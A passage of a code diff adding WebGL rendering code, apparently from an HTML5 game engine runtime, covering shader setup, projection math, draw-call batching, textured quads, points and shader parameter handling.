+ var compilationlog = gl.getProgramInfoLog(shaderProgram);
+ gl.deleteShader(fragmentShader);
+ gl.deleteShader(vertexShader);
+ gl.deleteProgram(shaderProgram);
+ throw new Error("error linking shader program: " + compilationlog);
+ }
+ gl.useProgram(shaderProgram);
+ gl.deleteShader(fragmentShader);
+ gl.deleteShader(vertexShader);
+ var ret = new GLShaderProgram(gl, shaderProgram, name);
+ ret.extendBoxHorizontal = shaderEntry.extendBoxHorizontal || 0;
+ ret.extendBoxVertical = shaderEntry.extendBoxVertical || 0;
+ ret.crossSampling = !!shaderEntry.crossSampling;
+ ret.preservesOpaqueness = !!shaderEntry.preservesOpaqueness;
+ ret.animated = !!shaderEntry.animated;
+ ret.parameters = shaderEntry.parameters || [];
+ var i, len;
+ for (i = 0, len = ret.parameters.length; i < len; i++)
+ {
+ ret.parameters[i][1] = gl.getUniformLocation(shaderProgram, ret.parameters[i][0]);
+ ret.lastCustomParams.push(0);
+ gl.uniform1f(ret.parameters[i][1], 0);
+ }
+ cr.seal(ret);
+ return ret;
+ };
+ GLWrap_.prototype.getShaderIndex = function(name_)
+ {
+ var i, len;
+ for (i = 0, len = this.shaderPrograms.length; i < len; i++)
+ {
+ if (this.shaderPrograms[i].name === name_)
+ return i;
+ }
+ return -1;
+ };
+ GLWrap_.prototype.project = function (x, y, out)
+ {
+ var mv = this.matMV;
+ var proj = this.matP;
+ var fTempo = [0, 0, 0, 0, 0, 0, 0, 0];
+ fTempo[0] = mv[0]*x+mv[4]*y+mv[12];
+ fTempo[1] = mv[1]*x+mv[5]*y+mv[13];
+ fTempo[2] = mv[2]*x+mv[6]*y+mv[14];
+ fTempo[3] = mv[3]*x+mv[7]*y+mv[15];
+ fTempo[4] = proj[0]*fTempo[0]+proj[4]*fTempo[1]+proj[8]*fTempo[2]+proj[12]*fTempo[3];
+ fTempo[5] = proj[1]*fTempo[0]+proj[5]*fTempo[1]+proj[9]*fTempo[2]+proj[13]*fTempo[3];
+ fTempo[6] = proj[2]*fTempo[0]+proj[6]*fTempo[1]+proj[10]*fTempo[2]+proj[14]*fTempo[3];
+ fTempo[7] = -fTempo[2];
+ if(fTempo[7]===0.0) //The w value
+ return;
+ fTempo[7]=1.0/fTempo[7];
+ fTempo[4]*=fTempo[7];
+ fTempo[5]*=fTempo[7];
+ fTempo[6]*=fTempo[7];
+ out[0]=(fTempo[4]*0.5+0.5)*this.width;
+ out[1]=(fTempo[5]*0.5+0.5)*this.height;
+ };
+ GLWrap_.prototype.setSize = function(w, h, force)
+ {
+ if (this.width === w && this.height === h && !force)
+ return;
+ this.endBatch();
+ var gl = this.gl;
+ this.width = w;
+ this.height = h;
+ gl.viewport(0, 0, w, h);
+ mat4.lookAt(this.cam, this.look, this.up, this.matMV);
+ if (this.enableFrontToBack)
+ {
+ mat4.ortho(-w/2, w/2, h/2, -h/2, this.zNear, this.zFar, this.matP);
+ this.worldScale[0] = 1;
+ this.worldScale[1] = 1;
+ }
+ else
+ {
+ mat4.perspective(45, w / h, this.zNear, this.zFar, this.matP);
+ var tl = [0, 0];
+ var br = [0, 0];
+ this.project(0, 0, tl);
+ this.project(1, 1, br);
+ this.worldScale[0] = 1 / (br[0] - tl[0]);
+ this.worldScale[1] = -1 / (br[1] - tl[1]);
+ }
+ var i, len, s;
+ for (i = 0, len = this.shaderPrograms.length; i < len; i++)
+ {
+ s = this.shaderPrograms[i];
+ s.hasCurrentMatMV = false;
+ if (s.locMatP)
+ {
+ gl.useProgram(s.shaderProgram);
+ gl.uniformMatrix4fv(s.locMatP, false, this.matP);
+ }
+ }
+ gl.useProgram(this.shaderPrograms[this.lastProgram].shaderProgram);
+ gl.bindTexture(gl.TEXTURE_2D, null);
+ gl.activeTexture(gl.TEXTURE1);
+ gl.bindTexture(gl.TEXTURE_2D, null);
+ gl.activeTexture(gl.TEXTURE0);
+ this.lastTexture0 = null;
+ this.lastTexture1 = null;
+ if (this.depthBuffer)
+ {
+ gl.bindFramebuffer(gl.FRAMEBUFFER, this.fbo);
+ gl.bindRenderbuffer(gl.RENDERBUFFER, this.depthBuffer);
+ gl.renderbufferStorage(gl.RENDERBUFFER, gl.DEPTH_COMPONENT16, this.width, this.height);
+ if (!this.attachedDepthBuffer)
+ {
+ gl.framebufferRenderbuffer(gl.FRAMEBUFFER, gl.DEPTH_ATTACHMENT, gl.RENDERBUFFER, this.depthBuffer);
+ this.attachedDepthBuffer = true;
+ }
+ gl.bindRenderbuffer(gl.RENDERBUFFER, null);
+ gl.bindFramebuffer(gl.FRAMEBUFFER, null);
+ this.renderToTex = null;
+ }
+ };
+ GLWrap_.prototype.resetModelView = function ()
+ {
+ mat4.lookAt(this.cam, this.look, this.up, this.matMV);
+ mat4.scale(this.matMV, this.worldScale);
+ };
+ GLWrap_.prototype.translate = function (x, y)
+ {
+ if (x === 0 && y === 0)
+ return;
+ this.tmpVec3[0] = x;// * this.worldScale[0];
+ this.tmpVec3[1] = y;// * this.worldScale[1];
+ this.tmpVec3[2] = 0;
+ mat4.translate(this.matMV, this.tmpVec3);
+ };
+ GLWrap_.prototype.scale = function (x, y)
+ {
+ if (x === 1 && y === 1)
+ return;
+ this.tmpVec3[0] = x;
+ this.tmpVec3[1] = y;
+ this.tmpVec3[2] = 1;
+ mat4.scale(this.matMV, this.tmpVec3);
+ };
+ GLWrap_.prototype.rotateZ = function (a)
+ {
+ if (a === 0)
+ return;
+ mat4.rotateZ(this.matMV, a);
+ };
+ GLWrap_.prototype.updateModelView = function()
+ {
+ if (areMat4sEqual(this.lastMV, this.matMV))
+ return;
+ var b = this.pushBatch();
+ b.type = BATCH_UPDATEMODELVIEW;
+ if (b.mat4param)
+ mat4.set(this.matMV, b.mat4param);
+ else
+ b.mat4param = mat4.create(this.matMV);
+ mat4.set(this.matMV, this.lastMV);
+ this.hasQuadBatchTop = false;
+ this.hasPointBatchTop = false;
+ };
+ /*
+ var debugBatch = false;
+ jQuery(document).mousedown(
+ function(info) {
+ if (info.which === 2)
+ debugBatch = true;
+ }
+ );
+ */
+ GLWrap_.prototype.setEarlyZIndex = function (i)
+ {
+ if (!this.enableFrontToBack)
+ return;
+ if (i > 32760)
+ i = 32760;
+ this.currentZ = this.cam[2] - this.zNear - i * this.zIncrement;
+ };
+ function GLBatchJob(type_, glwrap_)
+ {
+ this.type = type_;
+ this.glwrap = glwrap_;
+ this.gl = glwrap_.gl;
+ this.opacityParam = 0; // for setOpacity()
+ this.startIndex = 0; // for quad()
+ this.indexCount = 0; // "
+ this.texParam = null; // for setTexture()
+ this.mat4param = null; // for updateModelView()
+ this.shaderParams = []; // for user parameters
+ cr.seal(this);
+ };
+ GLBatchJob.prototype.doSetEarlyZPass = function ()
+ {
+ var gl = this.gl;
+ var glwrap = this.glwrap;
+ if (this.startIndex !== 0) // enable
+ {
+ gl.depthMask(true); // enable depth writes
+ gl.colorMask(false, false, false, false); // disable color writes
+ gl.disable(gl.BLEND); // no color writes so disable blend
+ gl.bindFramebuffer(gl.FRAMEBUFFER, glwrap.fbo);
+ gl.framebufferTexture2D(gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, null, 0);
+ gl.clear(gl.DEPTH_BUFFER_BIT); // auto-clear depth buffer
+ gl.bindFramebuffer(gl.FRAMEBUFFER, null);
+ glwrap.isBatchInEarlyZPass = true;
+ }
+ else
+ {
+ gl.depthMask(false); // disable depth writes, only test existing depth values
+ gl.colorMask(true, true, true, true); // enable color writes
+ gl.enable(gl.BLEND); // turn blending back on
+ glwrap.isBatchInEarlyZPass = false;
+ }
+ };
+ GLBatchJob.prototype.doSetTexture = function ()
+ {
+ this.gl.bindTexture(this.gl.TEXTURE_2D, this.texParam);
+ };
+ GLBatchJob.prototype.doSetTexture1 = function ()
+ {
+ var gl = this.gl;
+ gl.activeTexture(gl.TEXTURE1);
+ gl.bindTexture(gl.TEXTURE_2D, this.texParam);
+ gl.activeTexture(gl.TEXTURE0);
+ };
+ GLBatchJob.prototype.doSetOpacity = function ()
+ {
+ var o = this.opacityParam;
+ var glwrap = this.glwrap;
+ glwrap.currentOpacity = o;
+ var curProg = glwrap.currentShader;
+ if (curProg.locOpacity && curProg.lpOpacity !== o)
+ {
+ curProg.lpOpacity = o;
+ this.gl.uniform1f(curProg.locOpacity, o);
+ }
+ };
+ GLBatchJob.prototype.doQuad = function ()
+ {
+ this.gl.drawElements(this.gl.TRIANGLES, this.indexCount, this.gl.UNSIGNED_SHORT, this.startIndex);
+ };
+ GLBatchJob.prototype.doSetBlend = function ()
+ {
+ this.gl.blendFunc(this.startIndex, this.indexCount);
+ };
+ GLBatchJob.prototype.doUpdateModelView = function ()
+ {
+ var i, len, s, shaderPrograms = this.glwrap.shaderPrograms, currentProgram = this.glwrap.currentProgram;
+ for (i = 0, len = shaderPrograms.length; i < len; i++)
+ {
+ s = shaderPrograms[i];
+ if (i === currentProgram && s.locMatMV)
+ {
+ s.updateMatMV(this.mat4param);
+ s.hasCurrentMatMV = true;
+ }
+ else
+ s.hasCurrentMatMV = false;
+ }
+ mat4.set(this.mat4param, this.glwrap.currentMV);
+ };
+ GLBatchJob.prototype.doRenderToTexture = function ()
+ {
+ var gl = this.gl;
+ var glwrap = this.glwrap;
+ if (this.texParam)
+ {
+ if (glwrap.lastTexture1 === this.texParam)
+ {
+ gl.activeTexture(gl.TEXTURE1);
+ gl.bindTexture(gl.TEXTURE_2D, null);
+ glwrap.lastTexture1 = null;
+ gl.activeTexture(gl.TEXTURE0);
+ }
+ gl.bindFramebuffer(gl.FRAMEBUFFER, glwrap.fbo);
+ if (!glwrap.isBatchInEarlyZPass)
+ {
+ gl.framebufferTexture2D(gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, this.texParam, 0);
+ }
+ }
+ else
+ {
+ if (!glwrap.enableFrontToBack)
+ {
+ gl.framebufferTexture2D(gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, null, 0);
+ }
+ gl.bindFramebuffer(gl.FRAMEBUFFER, null);
+ }
+ };
+ GLBatchJob.prototype.doClear = function ()
+ {
+ var gl = this.gl;
+ var mode = this.startIndex;
+ if (mode === 0) // clear whole surface
+ {
+ gl.clearColor(this.mat4param[0], this.mat4param[1], this.mat4param[2], this.mat4param[3]);
+ gl.clear(gl.COLOR_BUFFER_BIT);
+ }
+ else if (mode === 1) // clear rectangle
+ {
+ gl.enable(gl.SCISSOR_TEST);
+ gl.scissor(this.mat4param[0], this.mat4param[1], this.mat4param[2], this.mat4param[3]);
+ gl.clearColor(0, 0, 0, 0);
+ gl.clear(gl.COLOR_BUFFER_BIT);
+ gl.disable(gl.SCISSOR_TEST);
+ }
+ else // clear depth
+ {
+ gl.clear(gl.DEPTH_BUFFER_BIT);
+ }
+ };
+ GLBatchJob.prototype.doSetDepthTestEnabled = function ()
+ {
+ var gl = this.gl;
+ var enable = this.startIndex;
+ if (enable !== 0)
+ {
+ gl.enable(gl.DEPTH_TEST);
+ }
+ else
+ {
+ gl.disable(gl.DEPTH_TEST);
+ }
+ };
+ GLBatchJob.prototype.doPoints = function ()
+ {
+ var gl = this.gl;
+ var glwrap = this.glwrap;
+ if (glwrap.enableFrontToBack)
+ gl.disable(gl.DEPTH_TEST);
+ var s = glwrap.shaderPrograms[1];
+ gl.useProgram(s.shaderProgram);
+ if (!s.hasCurrentMatMV && s.locMatMV)
+ {
+ s.updateMatMV(glwrap.currentMV);
+ s.hasCurrentMatMV = true;
+ }
+ gl.enableVertexAttribArray(s.locAPos);
+ gl.bindBuffer(gl.ARRAY_BUFFER, glwrap.pointBuffer);
+ gl.vertexAttribPointer(s.locAPos, 4, gl.FLOAT, false, 0, 0);
+ gl.drawArrays(gl.POINTS, this.startIndex / 4, this.indexCount);
+ s = glwrap.currentShader;
+ gl.useProgram(s.shaderProgram);
+ if (s.locAPos >= 0)
+ {
+ gl.enableVertexAttribArray(s.locAPos);
+ gl.bindBuffer(gl.ARRAY_BUFFER, glwrap.vertexBuffers[glwrap.curBuffer]);
+ gl.vertexAttribPointer(s.locAPos, glwrap.enableFrontToBack ? 3 : 2, gl.FLOAT, false, 0, 0);
+ }
+ if (s.locATex >= 0)
+ {
+ gl.enableVertexAttribArray(s.locATex);
+ gl.bindBuffer(gl.ARRAY_BUFFER, glwrap.texcoordBuffers[glwrap.curBuffer]);
+ gl.vertexAttribPointer(s.locATex, 2, gl.FLOAT, false, 0, 0);
+ }
+ if (glwrap.enableFrontToBack)
+ gl.enable(gl.DEPTH_TEST);
+ };
+ GLBatchJob.prototype.doSetProgram = function ()
+ {
+ var gl = this.gl;
+ var glwrap = this.glwrap;
+ var s = glwrap.shaderPrograms[this.startIndex]; // recycled param to save memory
+ glwrap.currentProgram = this.startIndex; // current batch program
+ glwrap.currentShader = s;
+ gl.useProgram(s.shaderProgram); // switch to
+ if (!s.hasCurrentMatMV && s.locMatMV)
+ {
+ s.updateMatMV(glwrap.currentMV);
+ s.hasCurrentMatMV = true;
+ }
+ if (s.locOpacity && s.lpOpacity !== glwrap.currentOpacity)
+ {
+ s.lpOpacity = glwrap.currentOpacity;
+ gl.uniform1f(s.locOpacity, glwrap.currentOpacity);
+ }
+ if (s.locAPos >= 0)
+ {
+ gl.enableVertexAttribArray(s.locAPos);
+ gl.bindBuffer(gl.ARRAY_BUFFER, glwrap.vertexBuffers[glwrap.curBuffer]);
+ gl.vertexAttribPointer(s.locAPos, glwrap.enableFrontToBack ? 3 : 2, gl.FLOAT, false, 0, 0);
+ }
+ if (s.locATex >= 0)
+ {
+ gl.enableVertexAttribArray(s.locATex);
+ gl.bindBuffer(gl.ARRAY_BUFFER, glwrap.texcoordBuffers[glwrap.curBuffer]);
+ gl.vertexAttribPointer(s.locATex, 2, gl.FLOAT, false, 0, 0);
+ }
+ }
+ GLBatchJob.prototype.doSetColor = function ()
+ {
+ var s = this.glwrap.currentShader;
+ var mat4param = this.mat4param;
+ this.gl.uniform4f(s.locColorFill, mat4param[0], mat4param[1], mat4param[2], mat4param[3]);
+ };
+ GLBatchJob.prototype.doSetProgramParameters = function ()
+ {
+ var i, len, s = this.glwrap.currentShader;
+ var gl = this.gl;
+ var mat4param = this.mat4param;
+ if (s.locSamplerBack && this.glwrap.lastTexture1 !== this.texParam)
+ {
+ gl.activeTexture(gl.TEXTURE1);
+ gl.bindTexture(gl.TEXTURE_2D, this.texParam);
+ this.glwrap.lastTexture1 = this.texParam;
+ gl.activeTexture(gl.TEXTURE0);
+ }
+ var v = mat4param[0];
+ var v2;
+ if (s.locPixelWidth && v !== s.lpPixelWidth)
+ {
+ s.lpPixelWidth = v;
+ gl.uniform1f(s.locPixelWidth, v);
+ }
+ v = mat4param[1];
+ if (s.locPixelHeight && v !== s.lpPixelHeight)
+ {
+ s.lpPixelHeight = v;
+ gl.uniform1f(s.locPixelHeight, v);
+ }
+ v = mat4param[2];
+ v2 = mat4param[3];
+ if (s.locDestStart && (v !== s.lpDestStartX || v2 !== s.lpDestStartY))
+ {
+ s.lpDestStartX = v;
+ s.lpDestStartY = v2;
+ gl.uniform2f(s.locDestStart, v, v2);
+ }
+ v = mat4param[4];
+ v2 = mat4param[5];
+ if (s.locDestEnd && (v !== s.lpDestEndX || v2 !== s.lpDestEndY))
+ {
+ s.lpDestEndX = v;
+ s.lpDestEndY = v2;
+ gl.uniform2f(s.locDestEnd, v, v2);
+ }
+ v = mat4param[6];
+ if (s.locLayerScale && v !== s.lpLayerScale)
+ {
+ s.lpLayerScale = v;
+ gl.uniform1f(s.locLayerScale, v);
+ }
+ v = mat4param[7];
+ if (s.locLayerAngle && v !== s.lpLayerAngle)
+ {
+ s.lpLayerAngle = v;
+ gl.uniform1f(s.locLayerAngle, v);
+ }
+ v = mat4param[8];
+ v2 = mat4param[9];
+ if (s.locViewOrigin && (v !== s.lpViewOriginX || v2 !== s.lpViewOriginY))
+ {
+ s.lpViewOriginX = v;
+ s.lpViewOriginY = v2;
+ gl.uniform2f(s.locViewOrigin, v, v2);
+ }
+ v = mat4param[10];
+ v2 = mat4param[11];
+ if (s.locScrollPos && (v !== s.lpScrollPosX || v2 !== s.lpScrollPosY))
+ {
+ s.lpScrollPosX = v;
+ s.lpScrollPosY = v2;
+ gl.uniform2f(s.locScrollPos, v, v2);
+ }
+ v = mat4param[12];
+ if (s.locSeconds && v !== s.lpSeconds)
+ {
+ s.lpSeconds = v;
+ gl.uniform1f(s.locSeconds, v);
+ }
+ if (s.parameters.length)
+ {
+ for (i = 0, len = s.parameters.length; i < len; i++)
+ {
+ v = this.shaderParams[i];
+ if (v !== s.lastCustomParams[i])
+ {
+ s.lastCustomParams[i] = v;
+ gl.uniform1f(s.parameters[i][1], v);
+ }
+ }
+ }
+ };
+ GLWrap_.prototype.pushBatch = function ()
+ {
+ if (this.batchPtr === this.batch.length)
+ this.batch.push(new GLBatchJob(BATCH_NULL, this));
+ return this.batch[this.batchPtr++];
+ };
+ GLWrap_.prototype.endBatch = function ()
+ {
+ if (this.batchPtr === 0)
+ return;
+ if (this.gl.isContextLost())
+ return;
+ var gl = this.gl;
+ if (this.pointPtr > 0)
+ {
+ gl.bindBuffer(gl.ARRAY_BUFFER, this.pointBuffer);
+ gl.bufferSubData(gl.ARRAY_BUFFER, 0, this.pointData.subarray(0, this.pointPtr));
+ if (s && s.locAPos >= 0 && s.name === "")
+ gl.vertexAttribPointer(s.locAPos, 4, gl.FLOAT, false, 0, 0);
+ }
+ if (this.vertexPtr > 0)
+ {
+ var s = this.currentShader;
+ gl.bindBuffer(gl.ARRAY_BUFFER, this.vertexBuffers[this.curBuffer]);
+ gl.bufferSubData(gl.ARRAY_BUFFER, 0, this.vertexData.subarray(0, this.vertexPtr));
+ if (s && s.locAPos >= 0 && s.name !== "")
+ gl.vertexAttribPointer(s.locAPos, this.enableFrontToBack ? 3 : 2, gl.FLOAT, false, 0, 0);
+ gl.bindBuffer(gl.ARRAY_BUFFER, this.texcoordBuffers[this.curBuffer]);
+ gl.bufferSubData(gl.ARRAY_BUFFER, 0, this.texcoordData.subarray(0, this.texPtr));
+ if (s && s.locATex >= 0 && s.name !== "")
+ gl.vertexAttribPointer(s.locATex, 2, gl.FLOAT, false, 0, 0);
+ }
+ var i, len, b;
+ for (i = 0, len = this.batchPtr; i < len; i++)
+ {
+ b = this.batch[i];
+ switch (b.type) {
+ case 1:
+ b.doQuad();
+ break;
+ case 2:
+ b.doSetTexture();
+ break;
+ case 3:
+ b.doSetOpacity();
+ break;
+ case 4:
+ b.doSetBlend();
+ break;
+ case 5:
+ b.doUpdateModelView();
+ break;
+ case 6:
+ b.doRenderToTexture();
+ break;
+ case 7:
+ b.doClear();
+ break;
+ case 8:
+ b.doPoints();
+ break;
+ case 9:
+ b.doSetProgram();
+ break;
+ case 10:
+ b.doSetProgramParameters();
+ break;
+ case 11:
+ b.doSetTexture1();
+ break;
+ case 12:
+ b.doSetColor();
+ break;
+ case 13:
+ b.doSetDepthTestEnabled();
+ break;
+ case 14:
+ b.doSetEarlyZPass();
+ break;
+ }
+ }
+ this.batchPtr = 0;
+ this.vertexPtr = 0;
+ this.texPtr = 0;
+ this.pointPtr = 0;
+ this.hasQuadBatchTop = false;
+ this.hasPointBatchTop = false;
+ this.isBatchInEarlyZPass = false;
+ this.curBuffer++;
+ if (this.curBuffer >= MULTI_BUFFERS)
+ this.curBuffer = 0;
+ };
+ GLWrap_.prototype.setOpacity = function (op)
+ {
+ if (op === this.lastOpacity)
+ return;
+ if (this.isEarlyZPass)
+ return; // ignore
+ var b = this.pushBatch();
+ b.type = BATCH_SETOPACITY;
+ b.opacityParam = op;
+ this.lastOpacity = op;
+ this.hasQuadBatchTop = false;
+ this.hasPointBatchTop = false;
+ };
+ GLWrap_.prototype.setTexture = function (tex)
+ {
+ if (tex === this.lastTexture0)
+ return;
+;
+ var b = this.pushBatch();
+ b.type = BATCH_SETTEXTURE;
+ b.texParam = tex;
+ this.lastTexture0 = tex;
+ this.hasQuadBatchTop = false;
+ this.hasPointBatchTop = false;
+ };
+ GLWrap_.prototype.setBlend = function (s, d)
+ {
+ if (s === this.lastSrcBlend && d === this.lastDestBlend)
+ return;
+ if (this.isEarlyZPass)
+ return; // ignore
+ var b = this.pushBatch();
+ b.type = BATCH_SETBLEND;
+ b.startIndex = s; // recycle params to save memory
+ b.indexCount = d;
+ this.lastSrcBlend = s;
+ this.lastDestBlend = d;
+ this.hasQuadBatchTop = false;
+ this.hasPointBatchTop = false;
+ };
+ GLWrap_.prototype.isPremultipliedAlphaBlend = function ()
+ {
+ return (this.lastSrcBlend === this.gl.ONE && this.lastDestBlend === this.gl.ONE_MINUS_SRC_ALPHA);
+ };
+ GLWrap_.prototype.setAlphaBlend = function ()
+ {
+ this.setBlend(this.gl.ONE, this.gl.ONE_MINUS_SRC_ALPHA);
+ };
+ GLWrap_.prototype.setNoPremultiplyAlphaBlend = function ()
+ {
+ this.setBlend(this.gl.SRC_ALPHA, this.gl.ONE_MINUS_SRC_ALPHA);
+ };
+ var LAST_VERTEX = MAX_VERTICES * 2 - 8;
+ GLWrap_.prototype.quad = function(tlx, tly, trx, try_, brx, bry, blx, bly)
+ {
+ if (this.vertexPtr >= LAST_VERTEX)
+ this.endBatch();
+ var v = this.vertexPtr; // vertex cursor
+ var t = this.texPtr;
+ var vd = this.vertexData; // vertex data array
+ var td = this.texcoordData; // texture coord data array
+ var currentZ = this.currentZ;
+ if (this.hasQuadBatchTop)
+ {
+ this.batch[this.batchPtr - 1].indexCount += 6;
+ }
+ else
+ {
+ var b = this.pushBatch();
+ b.type = BATCH_QUAD;
+ b.startIndex = this.enableFrontToBack ? v : (v / 2) * 3;
+ b.indexCount = 6;
+ this.hasQuadBatchTop = true;
+ this.hasPointBatchTop = false;
+ }
+ if (this.enableFrontToBack)
+ {
+ vd[v++] = tlx;
+ vd[v++] = tly;
+ vd[v++] = currentZ;
+ vd[v++] = trx;
+ vd[v++] = try_;
+ vd[v++] = currentZ;
+ vd[v++] = brx;
+ vd[v++] = bry;
+ vd[v++] = currentZ;
+ vd[v++] = blx;
+ vd[v++] = bly;
+ vd[v++] = currentZ;
+ }
+ else
+ {
+ vd[v++] = tlx;
+ vd[v++] = tly;
+ vd[v++] = trx;
+ vd[v++] = try_;
+ vd[v++] = brx;
+ vd[v++] = bry;
+ vd[v++] = blx;
+ vd[v++] = bly;
+ }
+ td[t++] = 0;
+ td[t++] = 0;
+ td[t++] = 1;
+ td[t++] = 0;
+ td[t++] = 1;
+ td[t++] = 1;
+ td[t++] = 0;
+ td[t++] = 1;
+ this.vertexPtr = v;
+ this.texPtr = t;
+ };
+ GLWrap_.prototype.quadTex = function(tlx, tly, trx, try_, brx, bry, blx, bly, rcTex)
+ {
+ if (this.vertexPtr >= LAST_VERTEX)
+ this.endBatch();
+ var v = this.vertexPtr; // vertex cursor
+ var t = this.texPtr;
+ var vd = this.vertexData; // vertex data array
+ var td = this.texcoordData; // texture coord data array
+ var currentZ = this.currentZ;
+ if (this.hasQuadBatchTop)
+ {
+ this.batch[this.batchPtr - 1].indexCount += 6;
+ }
+ else
+ {
+ var b = this.pushBatch();
+ b.type = BATCH_QUAD;
+ b.startIndex = this.enableFrontToBack ? v : (v / 2) * 3;
+ b.indexCount = 6;
+ this.hasQuadBatchTop = true;
+ this.hasPointBatchTop = false;
+ }
+ var rc_left = rcTex.left;
+ var rc_top = rcTex.top;
+ var rc_right = rcTex.right;
+ var rc_bottom = rcTex.bottom;
+ if (this.enableFrontToBack)
+ {
+ vd[v++] = tlx;
+ vd[v++] = tly;
+ vd[v++] = currentZ;
+ vd[v++] = trx;
+ vd[v++] = try_;
+ vd[v++] = currentZ;
+ vd[v++] = brx;
+ vd[v++] = bry;
+ vd[v++] = currentZ;
+ vd[v++] = blx;
+ vd[v++] = bly;
+ vd[v++] = currentZ;
+ }
+ else
+ {
+ vd[v++] = tlx;
+ vd[v++] = tly;
+ vd[v++] = trx;
+ vd[v++] = try_;
+ vd[v++] = brx;
+ vd[v++] = bry;
+ vd[v++] = blx;
+ vd[v++] = bly;
+ }
+ td[t++] = rc_left;
+ td[t++] = rc_top;
+ td[t++] = rc_right;
+ td[t++] = rc_top;
+ td[t++] = rc_right;
+ td[t++] = rc_bottom;
+ td[t++] = rc_left;
+ td[t++] = rc_bottom;
+ this.vertexPtr = v;
+ this.texPtr = t;
+ };
+ GLWrap_.prototype.quadTexUV = function(tlx, tly, trx, try_, brx, bry, blx, bly, tlu, tlv, tru, trv, bru, brv, blu, blv)
+ {
+ if (this.vertexPtr >= LAST_VERTEX)
+ this.endBatch();
+ var v = this.vertexPtr; // vertex cursor
+ var t = this.texPtr;
+ var vd = this.vertexData; // vertex data array
+ var td = this.texcoordData; // texture coord data array
+ var currentZ = this.currentZ;
+ if (this.hasQuadBatchTop)
+ {
+ this.batch[this.batchPtr - 1].indexCount += 6;
+ }
+ else
+ {
+ var b = this.pushBatch();
+ b.type = BATCH_QUAD;
+ b.startIndex = this.enableFrontToBack ? v : (v / 2) * 3;
+ b.indexCount = 6;
+ this.hasQuadBatchTop = true;
+ this.hasPointBatchTop = false;
+ }
+ if (this.enableFrontToBack)
+ {
+ vd[v++] = tlx;
+ vd[v++] = tly;
+ vd[v++] = currentZ;
+ vd[v++] = trx;
+ vd[v++] = try_;
+ vd[v++] = currentZ;
+ vd[v++] = brx;
+ vd[v++] = bry;
+ vd[v++] = currentZ;
+ vd[v++] = blx;
+ vd[v++] = bly;
+ vd[v++] = currentZ;
+ }
+ else
+ {
+ vd[v++] = tlx;
+ vd[v++] = tly;
+ vd[v++] = trx;
+ vd[v++] = try_;
+ vd[v++] = brx;
+ vd[v++] = bry;
+ vd[v++] = blx;
+ vd[v++] = bly;
+ }
+ td[t++] = tlu;
+ td[t++] = tlv;
+ td[t++] = tru;
+ td[t++] = trv;
+ td[t++] = bru;
+ td[t++] = brv;
+ td[t++] = blu;
+ td[t++] = blv;
+ this.vertexPtr = v;
+ this.texPtr = t;
+ };
+ GLWrap_.prototype.convexPoly = function(pts)
+ {
+ var pts_count = pts.length / 2;
+;
+ var tris = pts_count - 2; // 3 points = 1 tri, 4 points = 2 tris, 5 points = 3 tris etc.
+ var last_tri = tris - 1;
+ var p0x = pts[0];
+ var p0y = pts[1];
+ var i, i2, p1x, p1y, p2x, p2y, p3x, p3y;
+ for (i = 0; i < tris; i += 2) // draw 2 triangles at a time
+ {
+ i2 = i * 2;
+ p1x = pts[i2 + 2];
+ p1y = pts[i2 + 3];
+ p2x = pts[i2 + 4];
+ p2y = pts[i2 + 5];
+ if (i === last_tri)
+ {
+ this.quad(p0x, p0y, p1x, p1y, p2x, p2y, p2x, p2y);
+ }
+ else
+ {
+ p3x = pts[i2 + 6];
+ p3y = pts[i2 + 7];
+ this.quad(p0x, p0y, p1x, p1y, p2x, p2y, p3x, p3y);
+ }
+ }
+ };
+ var LAST_POINT = MAX_POINTS - 4;
+ GLWrap_.prototype.point = function(x_, y_, size_, opacity_)
+ {
+ if (this.pointPtr >= LAST_POINT)
+ this.endBatch();
+ var p = this.pointPtr; // point cursor
+ var pd = this.pointData; // point data array
+ if (this.hasPointBatchTop)
+ {
+ this.batch[this.batchPtr - 1].indexCount++;
+ }
+ else
+ {
+ var b = this.pushBatch();
+ b.type = BATCH_POINTS;
+ b.startIndex = p;
+ b.indexCount = 1;
+ this.hasPointBatchTop = true;
+ this.hasQuadBatchTop = false;
+ }
+ pd[p++] = x_;
+ pd[p++] = y_;
+ pd[p++] = size_;
+ pd[p++] = opacity_;
+ this.pointPtr = p;
+ };
+ GLWrap_.prototype.switchProgram = function (progIndex)
+ {
+ if (this.lastProgram === progIndex)
+ return; // no change
+ var shaderProg = this.shaderPrograms[progIndex];
+ if (!shaderProg)
+ {
+ if (this.lastProgram === 0)
+ return; // already on default shader
+ progIndex = 0;
+ shaderProg = this.shaderPrograms[0];
+ }
+ var b = this.pushBatch();
+ b.type = BATCH_SETPROGRAM;
+ b.startIndex = progIndex;
+ this.lastProgram = progIndex;
+ this.hasQuadBatchTop = false;
+ this.hasPointBatchTop = false;
+ };
+ GLWrap_.prototype.programUsesDest = function (progIndex)
+ {
+ var s = this.shaderPrograms[progIndex];
+ return !!(s.locDestStart || s.locDestEnd);
+ };
+ GLWrap_.prototype.programUsesCrossSampling = function (progIndex)
+ {
+ var s = this.shaderPrograms[progIndex];
+ return !!(s.locDestStart || s.locDestEnd || s.crossSampling);
+ };
+ GLWrap_.prototype.programPreservesOpaqueness = function (progIndex)
+ {
+ return this.shaderPrograms[progIndex].preservesOpaqueness;
+ };
+ GLWrap_.prototype.programExtendsBox = function (progIndex)
+ {
+ var s = this.shaderPrograms[progIndex];
+ return s.extendBoxHorizontal !== 0 || s.extendBoxVertical !== 0;
+ };
+ GLWrap_.prototype.getProgramBoxExtendHorizontal = function (progIndex)
+ {
+ return this.shaderPrograms[progIndex].extendBoxHorizontal;
+ };
+ GLWrap_.prototype.getProgramBoxExtendVertical = function (progIndex)
+ {
+ return this.shaderPrograms[progIndex].extendBoxVertical;
+ };
+ GLWrap_.prototype.getProgramParameterType = function (progIndex, paramIndex)
+ {
+ return this.shaderPrograms[progIndex].parameters[paramIndex][2];
+ };
+ GLWrap_.prototype.programIsAnimated = function (progIndex)
+ {
+ return this.shaderPrograms[progIndex].animated;
+ };
+ GLWrap_.prototype.setProgramParameters = function (backTex, pixelWidth, pixelHeight, destStartX, destStartY, destEndX, destEndY, layerScale, layerAngle, viewOriginLeft, viewOriginTop, scrollPosX, scrollPosY, seconds, params)
+ {
+ var i, len;
+ var s = this.shaderPrograms[this.lastProgram];
+ var b, mat4param, shaderParams;
+ if (s.hasAnyOptionalUniforms || params.length)
+ {
